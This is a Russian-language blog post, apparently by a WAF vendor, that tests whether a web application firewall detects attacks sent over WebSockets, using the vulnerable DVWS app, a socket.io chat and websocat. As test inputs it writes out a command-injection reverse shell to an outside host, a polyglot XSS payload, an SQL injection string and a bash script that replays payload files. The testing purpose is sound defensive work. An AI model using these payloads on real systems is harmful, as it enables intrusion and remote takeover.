WAF для Вебсокетов: рабочее решение или иллюзия?

от автора

Есть мнение, что в силу особенностей вебсокетов, WAF не может их нормально анализировать и защищать. Давайте попробуем разобраться, насколько это утверждение справедливо.

Сперва несколько слов о том что есть вебсокет и где он применяется.

Кратко о websockets

Особенности протокола

  • Работает поверх TCP-соединения.

  • Двухсторонний обмен данными в рамках постоянного соединения, в реальном времени, с минимальными накладными расходами.

  • Для установления соединения клиент формирует особый HTTP-запрос, на который сервер отвечает определенным образом, т.е. происходит переключение с HTTP на Websocket.

  • Стандартизирован IETF в виде RFC 6455 в 2011 году, актуальные данные тут

  • Может быть использован для любого клиентского или серверного приложения.

  • Поддерживается всеми современными браузерами.

  • Есть библиотеки для популярных языков: Objective-C, .NET, Python, Java, node.js, Go.

  • Для протокола есть расширение RFC 7692 для сжатия данных.

Процедура переключения с HTTP на сокеты довольно неплохо описана в википедии.

Примеры реализаций:

Есть еще любопытные реализации типа websocketd 😉

Еще больше информации тут https://github.com/facundofarias/awesome-websockets

Области применения:

  • Приложения реального времени: дашборды, панели мониторинга, торговые терминалы

  • Игры

  • Чат-приложения

Распространенные уязвимости и атаки на websockets

Для простоты условно разделю уязвимости на несколько групп:

  • Атаки на безопасность сеанса (Broken Access Control)

  • Атаки на бизнес логику

    • Race Conditions

  • DoS & DDoS

    • Неуправляемое потребление ресурсов (Resource Exhaustion): атаки, направленные на исчерпание ресурсов сервера или клиента, таких как память или процессорное время, путем создания большого количества WebSocket-соединений

    • Исчерпание количества TCP соединений

  • Атаки, связанные с недостаточной фильтрацией пользовательского ввода

    • Всевозможные injections (XSS, RCE, SQLi, etc)

    • SSRF

  • Атаки на реализацию websocket

  • Сетевые атаки

    • Атаки «Человек посередине» (MITM): злоумышленник перехватывает и изменяет сообщения, передаваемые между клиентом и сервером

    • Сниффинг: анализ трафика WebSocket для получения конфиденциальных данных

Как видите, возможностей у атакующего немало, отсюда и для разработчиков WAF задача по защите выглядит непросто.

К разнообразию атак нужно еще добавить следующие нюансы:

  • Любые варианты кодирования данных, передаваемых внутри сокета: json, plaintext, сериализация, кастомные форматы, бинарные данные.

  • Сложность реализации поведенческого анализа, ввиду того, что данные передаются внутри одной сессии (соединения).

И все же многие WAF заявляют о поддержке вебсокетов…

Как протестировать WAF на защиту вебсокетов?

Тестировать будем обнаружение инъекций, т.к. это наиболее простой и наглядный сценарий, к тому же это можно считать базовой функциональностью WAF.

По результатам тестирования можно будет судить о возможностях WAF разбирать и парсить веб сокеты, а также о качестве сигнатур.

Общая логика — поднять websocket-бэкенд, настроить прохождение трафика через WAF, отправлять разнообразные payload и следить за реакцией.

Все очень похоже на обычное тестирование WAF, про которое мы уже писали ранее.

Оса не проскочит: разбираемся в методиках тестирования и сравнения  ̶ а̶н̶т̶и̶м̶о̶с̶к̶и̶т̶н̶ы̶х̶ ̶с̶е̶т̶о̶к̶   WAF

Сколько попугаев выдает ваш WAF? Обзор утилит для тестирования

Разница лишь в транспорте.

Покажу тестирование на примере нашего продукта, благо он у меня всегда под рукой 😉

А для разнообразия попробуем несколько реализаций вебсокетов.

OWASP Damn Vulnerable Web Sockets (DVWS)

https://github.com/interference-security/DVWS

Довольно старый проект, написан на php, для вебсокетов использует библиотеку Ratchet. Приложение содержит множество уязвимостей:  SQLi, Command Injection, XSS, LFI. Подробнее предлагаю посмотреть на странице проекта. При желании можно найти writeup, как пример.

Авторы не добавили в проект Dockerfile, что несколько неудобно, но это не беда, его и docker-compose можно взять из Pull request, что я и сделал, запустив приложение.

На порту 8888 будет висеть фронт, а на 8081 вебсокет.

Пример конфига NGINX для проксирования и фильтрации трафика через WMX ноду: 

server {     listen 80;     server_name dvws.local;     wallarm_mode block;     wallarm_parse_websocket on;      location / {       proxy_http_version 1.1;       proxy_set_header Upgrade $http_upgrade;       proxy_set_header Connection "upgrade";       proxy_pass http://127.0.0.1:8081;       proxy_set_header X-Real-IP $remote_addr;       proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;     }  }

Сперва нужно выполнить первоначальную настройку приложения перейдя на http://dvws.local:8888/setup.php

А теперь давайте попробуем проэксплуатировать баги и посмотреть на коммуникацию между клиентом и сервером.

На странице command-execution сначала в поле адрес вставим IP адрес:

В режиме разработчика видно что данные идут через вебсокет.

А потом попробуем добавить к нему reverse shell:

1.1.1.1; 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
Была обнаружена попытка запуска реверс шелла, соединение разорвано.

Была обнаружена попытка запуска реверс шелла, соединение разорвано.

Пример события в ЛК:

Как видите, в этом случае данные передаются в plain text, и для WAF нет особой проблемы их распарсить.

С эксплуатацией других уязвимостей DVWS ситуация схожая, давайте перейдем дальше.

Socket.io

Взглянем на Node.js имплементацию, увы, на этот раз без специально оставленных уязвимостей 😉 Возьмем пример чата из https://github.com/socketio/socket.io/tree/main/examples/chat

Запуск тестового приложения:

git clone https://github.com/socketio/socket.io cd socket.io/examples/chat/ npm i npm start

Сервис запустится на порту 3000.

Пример конфига NGINX, я не стал менять server_name, оставил dvws.local.

server {     listen 80;     server_name dvws.local;     wallarm_mode block;     wallarm_parse_websocket on;  location / {       proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;       proxy_set_header Host $host;       proxy_pass http://127.0.0.1:3000;       proxy_http_version 1.1;       proxy_set_header Upgrade $http_upgrade;       proxy_set_header Connection "upgrade";     }  }

Попробуем отправить несколько запросов и понаблюдать за коммуникацией.

Нормальное взаимодействие клиента и сервера

Нормальное взаимодействие клиента и сервера

Попробуем отправить какую-нибудь XSS.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
XSS обнаружена, соединение разораано.

XSS обнаружена, соединение разораано.
Пример события в ЛК

Пример события в ЛК

Атаки обнаружены, TCP соединение разорвано, а в консоли управления есть соответствующие события.

Websocat

И напоследок попробуем провести более интересное тестирование. Воспользуемся websocat как для имитации сервера, так и для отправки разнообразных payload. Передаваемые данные будем сжимать используя gzip, оборачивать в json и кодировать в base64.

Для начала нужно взять бинарник со страницы проекта.

Запуск сервера:

./websocat -s 127.0.0.1:3000

Конфиг NGINX смотри выше.

Несколько примеров запуска websocat:

# простой интерактивный режим ./websocat ws://dvws.local -E  # простой интерактивный режим с детальным выводом ./websocat ws://dvws.local -E -vv  # Оборачивать payload в JSON, method и params.  # {"jsonrpc":"2.0","id":1, "method":"f", "params":[]} ./websocat ws://dvws.local/ --jsonrpc -E  # сжимать передаваемы данные gzip ./websocat ws://dvws.local/ --binary --compress-gzip -E   # Отправить строку, вывести более детальный log echo "/etc/passwd" | ./websocat - log:timestamp:"ws://dvws.local" -E

Но это все для единичных запросов… Веселее будет в качестве источника payload взять:

Далее сформировать файлы, содержащие множество атак, а также отдельные файлы с false-positive, и прогнать пачкой. Сделать это можно подручными средствами.

payloads_send.sh

#!/bin/bash  TARGET="ws://dvws.local/" FILENAME=$1 ENCODING=$2  if [[ $# -eq 0 ]] ; then     echo 'Usage example: payloads_send.sh _payloads_file_ _encoding_method_'     echo 'Encoding methods: plain, base64, gzip, json'     exit 1 fi  while IFS= read -r line do   echo "$line"   case "$ENCODING" in     plain) echo "$line" | ./websocat $TARGET --binary -E ;;     base64) echo "$line" | base64 | ./websocat $TARGET --binary -E ;;     gzip) echo "$line" | gzip | ./websocat $TARGET --binary -E ;;     json) echo "SOME_METHOD $line" | ./websocat $TARGET --text --jsonrpc -E ;;     *) echo "$line" | ./websocat $TARGET --binary -E ;;   esac   shift done < "$FILENAME" 

На стороне сервера можно включить запись прошедших payload в файл, чтобы потом возможно было сделать diff и понять что проходит через WAF, а что – нет.

./websocat ws-l:127.0.0.1:3000 writefile:passed.txt

Либо просто посмотреть на вывод websocat сервера в STDOUT.

Для наглядности – запустил websocat с флагом –vv и попробовал среди прочего отправить:

123) AND 12=12 AND JSON_DEPTH('{}') != 2521
Вид со стороны клиента

Вид со стороны клиента
Вид со стороны сервера. До backend атака не дошла.

Вид со стороны сервера. До backend атака не дошла.
В ЛК атака зафиксирована

В ЛК атака зафиксирована

Рекомендации по безопасности

  • Используйте WSS (WebSockets Secure) вместо незашифрованных websockets.

  • Используйте CSRF токены для защиты от CSWSH.

  • Проверяйте заголовок ORIGIN для защиты от CSWSH.

  • Проверяйте и экранируйте пользовательский ввод.

  • Используйте Rate Limiting для уменьшения рисков атак на отказ в обслуживании (DoS).

  • Задайте ограничения на максимальный размер передаваемых данных внутри websocket, это снизит риски DoS.

  • Используйте WAF с поддержкой websockets  😉

  • Если в вашем WAF заявлена поддержка вебсокетов, то не лишним будет её протестировать.

  Инструментарий и полезные ссылки

https://github.com/PalindromeLabs/STEWS

https://github.com/PalindromeLabs/awesome-websocket-security

https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets

https://book.hacktricks.xyz/pentesting-web/websocket-attacks

https://portswigger.net/web-security/websockets

https://github.com/PalindromeLabs/WebSockets-Playground

  Заключение

В начале статьи был поставлен вопрос о возможности WAF обрабатывать и защищать websocket. Как видите WAF с этим справляется, но с некоторыми оговорками:

  • У WAF должен быть отдельный модуль или парсер заточенный под вебсокет.

  • Если ваше приложение использует расширение RFC 7692, то и WAF должен его поддерживать.

  • В WAF желателен механизм работы с false-positive.

  • Должен быть парсинг данных внутри вебсокета (json, gzip, xml, etc).

  • WAF будет очень тяжело или вовсе невозможно анализировать сообщения внутри вебсокета если используются бинарные / кастомные протоколы передачи данных.

  • Тяжело или невозможно реализовать поведенческий анализ.

Если защита вебсокетов для вас актуальна – приходите к нам на бесплатный пилот.

Удачи в защите! Буду рад конструктивной критике и дополнениям.

Подписывайтесь на канал. Здесь мы делимся информацией по продукту, нашими находками и наработками, пока они не оформляются в большой статический материал.


ссылка на оригинал статьи https://habr.com/ru/articles/847364/